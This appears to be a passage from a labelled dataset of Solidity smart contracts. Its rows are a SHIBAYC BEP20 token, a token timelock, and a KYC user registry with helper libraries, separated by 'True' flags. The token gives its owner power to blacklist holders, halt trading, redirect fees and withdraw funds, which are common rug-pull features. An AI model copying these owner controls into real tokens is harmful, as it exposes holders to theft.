address payable public teamAddress = payable(0x13A49AabB766180C42bc4FfFbbeDCb27dBC37B1b);
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
bool public isTradingEnabled;
// Cooldown & timer functionality
bool public buyCooldownEnabled = true;
uint8 public cooldownTimerInterval = 30;
mapping (address => uint) private cooldownTimer;
uint256 public _maxTxAmount = 10000000 * (10**18);
uint256 public _maxWalletAmount = 20000000 * (10**18);
uint256 public numTokensSellToAddToLiquidity = 500000 * 10**18;
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived
);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
address public _owner;
constructor () BEP20Detailed("SHIBAYC", "SBAYC", 18) {
_owner = msg.sender ;
_totalSupply = 1000000000 * (10**18);
_balances[_owner] = _totalSupply;
//uniswapv3 router = 0xE592427A0AEce92De3Edee1F18E0157C05861564
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
// Create a uniswap pair for this new token
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
// set the rest of the contract variables
uniswapV2Router = _uniswapV2Router;
//exclude owner and this contract from fee
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[marketingaddress] = true;
_isExcludedFromFee[utilityAddress] = true;
_isExcludedFromFee[teamAddress] = true;
// No timelock for these people
isTimelockExempt[owner()] = true;
isTimelockExempt[marketingaddress] = true;
isTimelockExempt[utilityAddress] = true;
isTimelockExempt[teamAddress] = true;
isTimelockExempt[address(this)] = true;
isExcludedFromMaxTx[owner()] = true;
isExcludedFromMaxWallet[owner()] = true;
isExcludedFromMaxWallet[uniswapV2Pair] = true;
AMMs[uniswapV2Pair] = true;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function totalSupply() public view override returns (uint) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address towner, address spender) public view override returns (uint) {
return _allowances[towner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
function setMarketingFeePercent(uint256 updatedMarketingFee) external onlyOwner {
marketingFee = updatedMarketingFee;
require(marketingFee.add(utilityFee).add(teamFee) <= 15, "Fee is crossing the boundaries");
}
function setUtilityFeePercent(uint256 updatedUtilityFee) external onlyOwner {
utilityFee = updatedUtilityFee;
require(marketingFee.add(utilityFee).add(teamFee) <= 15, "Fee is crossing the boundaries");
}
function setTeamFeePercent(uint256 updatedTeamFee) external onlyOwner
{
teamFee = updatedTeamFee;
require(marketingFee.add(utilityFee).add(teamFee) <= 15, "Fee is crossing the boundaries");
}
function setMarketingAddress(address payable wallet) external onlyOwner
{
marketingaddress = wallet;
}
function setUtilityAddress(address payable wallet) external onlyOwner
{
utilityAddress = wallet;
}
function setTeamAddress(address payable wallet) external onlyOwner
{
teamAddress = wallet;
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
function changeNumTokensSellToAddToLiquidity(uint256 _numTokensSellToAddToLiquidity) external onlyOwner
{
numTokensSellToAddToLiquidity = _numTokensSellToAddToLiquidity;
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function includeInBlacklist(address account) external onlyOwner
{
_isBlacklisted[account] = true;
}
function excludeFromBlacklist(address account) external onlyOwner
{
_isBlacklisted[account] = false;
}
function isBlacklisted(address account) external view returns(bool)
{
return _isBlacklisted[account];
}
function excludeFromAMMs(address account) public onlyOwner
{
AMMs[account] = false;
}
function includeInAMMs(address account) public onlyOwner
{
AMMs[account] = true;
isExcludedFromMaxWallet[account] = true;
}
function enableTrading() external onlyOwner
{
isTradingEnabled = true;
}
function setIsTimelockExempt(address holder, bool exempt) external onlyOwner {
isTimelockExempt[holder] = exempt;
}
function setIsExcludedFromMaxTx(address holder, bool exempt) external onlyOwner
{
isExcludedFromMaxTx[holder] = exempt;
}
function setIsExcludedFromMaxWallet(address holder, bool exempt) external onlyOwner
{
isExcludedFromMaxWallet[holder] = exempt;
}
function setMaxTxLimit(uint256 maxTx) external onlyOwner
{
require(maxTx >= 100000 * (10**18), "Not Allowed");
_maxTxAmount = maxTx;
}
function setMaxWalletLimit(uint256 maxWallet) external onlyOwner
{
require(maxWallet >= 200000 * (10**18), "Not Allowed");
_maxWalletAmount = maxWallet;
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
function _transfer(address sender, address recipient, uint amount) internal{
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
require(!_isBlacklisted[sender], "Sender is blacklisted");
require(!_isBlacklisted[recipient], "Recipient is blacklisted");
if(sender != owner())
{require(isTradingEnabled, " Trading is not enabled yet");}
if(!isExcludedFromMaxTx[sender])
{
require(amount <= _maxTxAmount, "Maximum transaction limit reached!!");
}
if(!isExcludedFromMaxWallet[recipient])
{
require(balanceOf(recipient) + amount <= _maxWalletAmount, "Maximum wallet limit reached!!");
}
// cooldown timer, so a bot doesnt do quick trades! 30 seconds gap between 2 trades.
if (sender == uniswapV2Pair &&
buyCooldownEnabled &&
!isTimelockExempt[recipient]) {
require(cooldownTimer[recipient] < block.timestamp,"Please wait for 30 seconds between two buys");
cooldownTimer[recipient] = block.timestamp + cooldownTimerInterval;
}
uint256 taxAmount = (amount.mul(marketingFee + utilityFee + teamFee )).div(100);
// is the token balance of this contract address over the min number of
// tokens that we need to initiate a swap + liquidity lock?
// also, don't get caught in a circular liquidity event.
// also, don't swap & liquify if sender is uniswap pair.
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity;
if (
overMinTokenBalance &&
!inSwapAndLiquify &&
!AMMs[sender] &&
swapAndLiquifyEnabled
) {
contractTokenBalance = numTokensSellToAddToLiquidity;
//add liquidity
swapAndLiquify(contractTokenBalance);
}
//indicates if fee should be deducted from transfer
bool takeFee = true;
//if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]){
takeFee = false;
}
if(!AMMs[recipient] && !AMMs[sender])
{takeFee = false;}
if(takeFee)
{
uint256 TotalSent = amount.sub(taxAmount);
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(TotalSent);
_balances[address(this)] = _balances[address(this)].add(taxAmount);
emit Transfer(sender, recipient, TotalSent);
emit Transfer(sender, address(this), taxAmount);
}
else
{
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
function totalFee() internal view returns(uint256)
{
return marketingFee.add(utilityFee).add(teamFee);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
uint256 initialBalance = address(this).balance;
// swap tokens for ETH
swapTokensForEth(contractTokenBalance); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered
// how much ETH did we just swap into?
uint256 newBalance = address(this).balance.sub(initialBalance);
uint256 marketingShare = newBalance.mul(marketingFee).div(totalFee());
uint256 utilityShare = newBalance.mul(utilityFee).div(totalFee());
uint256 teamShare = newBalance.sub(marketingShare.add(utilityShare));
payable(marketingaddress).transfer(marketingShare);
payable(utilityAddress).transfer(utilityShare);
payable(teamAddress).transfer(teamShare);
emit SwapAndLiquify(contractTokenBalance, newBalance);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
// enable cooldown between trades
function cooldownEnabled(bool _status, uint8 _interval) public onlyOwner {
require(_interval <= 3600, "Limit reached");
buyCooldownEnabled = _status;
cooldownTimerInterval = _interval;
}
function _approve(address towner, address spender, uint amount) internal {
require(towner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[towner][spender] = amount;
emit Approval(towner, spender, amount);
}
function withdrawStuckBNB() external onlyOwner{
require (address(this).balance > 0, "Can't withdraw negative or zero");
payable(owner()).transfer(address(this).balance);
}
function removeStuckToken(address _address) external onlyOwner {
require(_address != address(this), "Can't withdraw tokens destined for liquidity");
require(IBEP20(_address).balanceOf(address(this)) > 0, "Can't withdraw 0");
IBEP20(_address).transfer(owner(), IBEP20(_address).balanceOf(address(this)));
}
} | True | [
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pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract token {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public{
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract lockEtherPay is Ownable {
using SafeMath for uint256;
token token_reward;
address public beneficiary;
bool public isLocked = false;
bool public isReleased = false;
uint256 public start_time;
uint256 public end_time;
uint256 public fifty_two_weeks = 30499200;
event TokenReleased(address beneficiary, uint256 token_amount);
constructor() public{
token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6);
beneficiary = 0x9805c3FD82191A7586bdbcE8acD934C48192Cc6D;
}
function tokenBalance() constant public returns (uint256){
return token_reward.balanceOf(this);
}
function lock() public onlyOwner returns (bool){
require(!isLocked);
require(tokenBalance() > 0);
start_time = now;
end_time = start_time.add(fifty_two_weeks);
isLocked = true;
}
function lockOver() constant public returns (bool){
uint256 current_time = now;
return current_time > end_time;
}
function release() onlyOwner public{
require(isLocked);
require(!isReleased);
require(lockOver());
uint256 token_amount = tokenBalance();
token_reward.transfer( beneficiary, token_amount);
emit TokenReleased(beneficiary, token_amount);
isReleased = true;
}
} | True | [
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// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
pragma experimental ABIEncoderV2;
import "./Registry.sol";
import "./interfaces/IUserRegistry.sol";
import "./Claimer.sol";
contract UserRegistry is Registry, IUserRegistry {
uint256 public constant REDEMPTION_ADDRESS_COUNT = 0x100000;
bytes32 public constant IS_BLOCKLISTED = "IS_BLOCKLISTED";
bytes32 public constant KYC_AML_VERIFIED = "KYC_AML_VERIFIED";
bytes32 public constant CAN_BURN = "CAN_BURN";
bytes32 public constant USER_REDEEM_ADDRESS = "USER_REDEEM_ADDRESS";
bytes32 public constant REDEEM_ADDRESS_USER = "REDEEM_ADDRESS_USER";
address public token;
mapping(address => string) private usersId;
mapping(string => address) private usersById;
uint256 private redemptionAddressCount;
uint256 public minBurnBound;
uint256 public maxBurnBound;
struct User {
address account;
string id;
address redeemAddress;
bool blocked;
bool KYC; // solhint-disable-line var-name-mixedcase
bool canBurn;
}
event RegisterNewUser(
address indexed account,
address indexed redeemAddress
);
event UserKycVerified(address indexed account);
event UserKycUnverified(address indexed account);
event EnableRedeemAddress(address indexed account);
event DisableRedeemAddress(address indexed account);
event BlockAccount(address indexed account);
event UnblockAccount(address indexed account);
event MinBurnBound(uint256 minBurn);
event MaxBurnBound(uint256 minBurn);
constructor(
address _token,
uint256 _minBurnBound,
uint256 _maxBurnBound
) public {
require(_minBurnBound <= _maxBurnBound, "min bigger than max");
token = _token;
minBurnBound = _minBurnBound;
maxBurnBound = _maxBurnBound;
}
function setToken(address _token) public onlyOwner {
token = _token;
}
function setMinBurnBound(uint256 _minBurnBound) public onlyOwner {
require(_minBurnBound <= maxBurnBound, "min bigger than max");
minBurnBound = _minBurnBound;
emit MinBurnBound(_minBurnBound);
}
function setMaxBurnBound(uint256 _maxBurnBound) public onlyOwner {
require(minBurnBound <= _maxBurnBound, "min bigger than max");
maxBurnBound = _maxBurnBound;
emit MaxBurnBound(_maxBurnBound);
}
/**
* @dev Adds a new user in the registry.
* Sets {REDEEM_ADDRESS_USER} attribute for redeemAddress as `_account`.
* Sets {USER_REDEEM_ADDRESS} attribute for `_account` as redeemAddress.
*
* Emits a {RegisterNewUser} event.
*
* Requirements:
*
* - `_account` should not be a registered as user.
* - number of redeem address should not be greater than max availables.
*/
function registerNewUser(address _account, string calldata _id)
public
onlyOwner
{
require(!_isUser(_account), "user exist");
require(usersById[_id] == address(0), "id already taken");
redemptionAddressCount++;
require(
REDEMPTION_ADDRESS_COUNT > redemptionAddressCount,
"max allowed users"
);
setAttribute(
address(uint160(uint256(redemptionAddressCount))),
REDEEM_ADDRESS_USER,
uint256(uint160(_account))
);
setAttribute(_account, USER_REDEEM_ADDRESS, redemptionAddressCount);
usersId[_account] = _id;
usersById[_id] = _account;
emit RegisterNewUser(
_account,
address(uint160(uint256(redemptionAddressCount)))
);
}
/**
* @dev Gets user's data.
*
* Requirements:
*
* - the caller should be the owner.
*/
function getUser(address _account)
public
view
onlyOwner
returns (User memory user)
{
user.account = _account;
user.id = usersId[_account];
user.redeemAddress = getRedeemAddress(_account);
user.blocked = _isBlocked(_account);
user.KYC = _isKyced(_account);
user.canBurn =
getAttributeValue(getRedeemAddress(_account), CAN_BURN) == 1;
}
/**
* @dev Gets user by its id.
*
* Requirements:
*
* - the caller should be the owner.
*/
function getUserById(string calldata _id)
public
view
onlyOwner
returns (User memory user)
{
return getUser(usersById[_id]);
}
/**
* @dev Sets user id.
*
* Requirements:
*
* - the caller should be the owner.
* - `_account` should be a registered as user.
* - `_id` should not be taken.
*/
function setUserId(address _account, string calldata _id) public onlyOwner {
require(_isUser(_account), "not a user");
require(usersById[_id] == address(0), "id already taken");
string memory prevId = usersId[_account];
usersId[_account] = _id;
usersById[_id] = _account;
delete usersById[prevId];
}
/**
* @dev Sets user as KYC verified.
*
* Emits a {UserKycVerified} event.
*
* Requirements:
*
* - `_account` should be a registered as user.
*/
function userKycVerified(address _account) public onlyOwner {
require(_isUser(_account), "not a user");
setAttribute(_account, KYC_AML_VERIFIED, 1);
emit UserKycVerified(_account);
}
/**
* @dev Sets user as KYC un-verified.
*
* Emits a {UserKycVerified} event.
*
* Requirements:
*
* - `_account` should be a registered as user.
*/
function userKycUnverified(address _account) public onlyOwner {
require(_isUser(_account), "not a user");
setAttribute(_account, KYC_AML_VERIFIED, 0);
emit UserKycUnverified(_account);
}
/**
* @dev Enables `_account` redeem address to burn.
*
* Emits a {EnableUserRedeemAddress} event.
*
* Requirements:
*
* - `_account` should be a registered as user.
* - `_account` should be KYC verified.
*/
function enableRedeemAddress(address _account) public onlyOwner {
require(_isUser(_account), "not a user");
require(_isKyced(_account), "user has not KYC");
setAttribute(getRedeemAddress(_account), CAN_BURN, 1);
emit EnableRedeemAddress(_account);
}
/**
* @dev Disables `_account` redeem address to burn.
*
* Emits a {DisableRedeemAddress} event.
*
* Requirements:
*
* - `_account` should be a registered as user.
*/
function disableRedeemAddress(address _account) public onlyOwner {
require(_isUser(_account), "not a user");
setAttribute(getRedeemAddress(_account), CAN_BURN, 0);
emit DisableRedeemAddress(_account);
}
/**
* @dev Sets user as KYC verified.
* Enables `_account` redeem address to burn.
*
* Emits a {UserKycVerified} event.
* Emits a {EnableUserRedeemAddress} event.
*
* Requirements:
*
* - `_account` should be a registered as user.
*/
function verifyKycEnableRedeem(address _account) public onlyOwner {
require(_isUser(_account), "not a user");
setAttribute(_account, KYC_AML_VERIFIED, 1);
setAttribute(getRedeemAddress(_account), CAN_BURN, 1);
emit UserKycVerified(_account);
emit EnableRedeemAddress(getRedeemAddress(_account));
}
/**
* @dev Sets user as KYC un-verified.
* Disables `_account` redeem address to burn.
*
* Emits a {UserKycVerified} event.
* Emits a {v} event.
*
* Requirements:
*
* - `_account` should be a registered as user.
*/
function unverifyKycDisableRedeem(address _account) public onlyOwner {
require(_isUser(_account), "not a user");
setAttribute(_account, KYC_AML_VERIFIED, 0);
setAttribute(getRedeemAddress(_account), CAN_BURN, 0);
emit UserKycUnverified(_account);
emit DisableRedeemAddress(getRedeemAddress(_account));
}
/**
* @dev Registers `_account` as blocked.
*
* Emits a {BlockAccount} event.
*
* Requirements:
*
* - `_account` should not be already blocked.
*/
function blockAccount(address _account) public onlyOwner {
require(!_isBlocked(_account), "user already blocked");
setAttribute(_account, IS_BLOCKLISTED, 1);
emit BlockAccount(_account);
}
/**
* @dev Registers `_account` as un-blocked.
*
* Emits a {UnblockAccount} event.
*
* Requirements:
*
* - `_account` should be blocked.
*/
function unblockAccount(address _account) public onlyOwner {
require(_isBlocked(_account), "user not blocked");
setAttribute(_account, IS_BLOCKLISTED, 0);
emit UnblockAccount(_account);
}
/**
* @dev Gets user's account associated to a given `_redeemAddress`.
*/
function getUserByRedeemAddress(address _redeemAddress)
public
view
returns (address)
{
return
address(
uint160(
uint256(
getAttributeValue(_redeemAddress, REDEEM_ADDRESS_USER)
)
)
);
}
/**
* @dev Gets redeem address associated to a given `_account`
*/
function getRedeemAddress(address _account) public view returns (address) {
return
address(
uint160(
uint256(getAttributeValue(_account, USER_REDEEM_ADDRESS))
)
);
}
/**
* @dev Checks if the given `_account` is a registered user.
*/
function _isUser(address _account) internal view returns (bool) {
return getAttributeValue(_account, USER_REDEEM_ADDRESS) != 0;
}
/**
* @dev Checks if the given `_account` is blocked.
*/
function _isBlocked(address _account) internal view returns (bool) {
return getAttributeValue(_account, IS_BLOCKLISTED) == 1;
}
/**
* @dev Checks if the given `_account` is KYC verified.
*/
function _isKyced(address _account) internal view returns (bool) {
return getAttributeValue(_account, KYC_AML_VERIFIED) != 0;
}
/**
* @dev Checks if the given `_account` is a redeeming address.
*/
function _isRedemptionAddress(address _account)
internal
pure
returns (bool)
{
return uint256(uint160(_account)) < REDEMPTION_ADDRESS_COUNT;
}
/**
* @dev Determines if it is redeeming.
*/
function isRedeem(address, address _recipient)
external
view
override
onlyToken
returns (bool)
{
return _isRedemptionAddress(_recipient);
}
/**
* @dev Determines if it is redeeming from.
*/
function isRedeemFrom(
address,
address,
address _recipient
) external view override onlyToken returns (bool) {
return _isRedemptionAddress(_recipient);
}
/**
* @dev Throws if any of `_from` or `_to` is blocklisted.
*/
function canTransfer(address _from, address _to)
external
view
override
onlyToken
{
require(!_isBlocked(_from), "blocklisted");
require(!_isBlocked(_to), "blocklisted");
}
/**
* @dev Throws if any of `_spender`, `_from` or `_to` is blocklisted.
*/
function canTransferFrom(
address _spender,
address _from,
address _to
) external view override onlyToken {
require(!_isBlocked(_spender), "blocklisted");
require(!_isBlocked(_from), "blocklisted");
require(!_isBlocked(_to), "blocklisted");
}
/**
* @dev Throws if any of `_to` is not KYC verified or blocklisted.
*/
function canMint(address _to) external view override onlyToken {
require(_isKyced(_to), "user has not KYC");
require(!_isBlocked(_to), "blocklisted");
}
/**
* @dev Throws if any of `_from` is not enabled to burn or `_amount` lower than minBurnBound.
*/
function canBurn(address _from, uint256 _amount)
external
view
override
onlyToken
{
require(getAttributeValue(_from, CAN_BURN) != 0, "can not burn");
require(_amount >= minBurnBound, "below min bound");
require(_amount <= maxBurnBound, "above max bound");
}
/**
* @dev Throws if any of `_account` is not blocked.
*/
function canWipe(address _account) external view override onlyToken {
require(_isBlocked(_account), "can not wipe");
}
/**
* @dev Throws if called by any address other than the token.
*/
modifier onlyToken() {
require(msg.sender == token, "only Token");
_;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
/**
* @title Reclaimer
* @author WALLEXTRUST
* @dev Allows owner to claim ERC20 tokens ot ETH sent to this contract.
*/
abstract contract Claimer is Ownable {
using SafeERC20 for IERC20;
/**
* @dev send all token balance of an arbitrary erc20 token
* in the contract to another address
* @param token token to reclaim
* @param _to address to send eth balance to
*/
function claimToken(IERC20 token, address _to) external onlyOwner {
uint256 balance = token.balanceOf(address(this));
token.safeTransfer(_to, balance);
}
/**
* @dev send all eth balance in the contract to another address
* @param _to address to send eth balance to
*/
function claimEther(address payable _to) external onlyOwner {
(bool sent, ) = _to.call{value: address(this).balance}("");
require(sent, "Failed to send Ether");
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the Registry contract.
*/
interface IUserRegistry {
function canTransfer(address _from, address _to) external view;
function canTransferFrom(
address _spender,
address _from,
address _to
) external view;
function canMint(address _to) external view;
function canBurn(address _from, uint256 _amount) external view;
function canWipe(address _account) external view;
function isRedeem(address _sender, address _recipient)
external
view
returns (bool);
function isRedeemFrom(
address _caller,
address _sender,
address _recipient
) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
pragma experimental ABIEncoderV2;
import "./Claimer.sol";
abstract contract Registry is Claimer {
struct AttributeData {
uint256 value;
address updatedBy;
uint256 timestamp;
}
mapping(address => mapping(bytes32 => AttributeData)) public attributes;
event SetAttribute(
address indexed who,
bytes32 attribute,
uint256 value,
address indexed updatedBy
);
function setAttribute(
address _who,
bytes32 _attribute,
uint256 _value
) public onlyOwner {
attributes[_who][_attribute] = AttributeData(
_value,
msg.sender,
block.timestamp
);
emit SetAttribute(_who, _attribute, _value, msg.sender);
}
function hasAttribute(address _who, bytes32 _attribute)
public
view
returns (bool)
{
return attributes[_who][_attribute].value != 0;
}
function getAttribute(address _who, bytes32 _attribute)
public
view
returns (AttributeData memory data)
{
data = attributes[_who][_attribute];
}
function getAttributeValue(address _who, bytes32 _attribute)
public
view
returns (uint256)
{
return attributes[_who][_attribute].value;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20.sol";
import "../../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
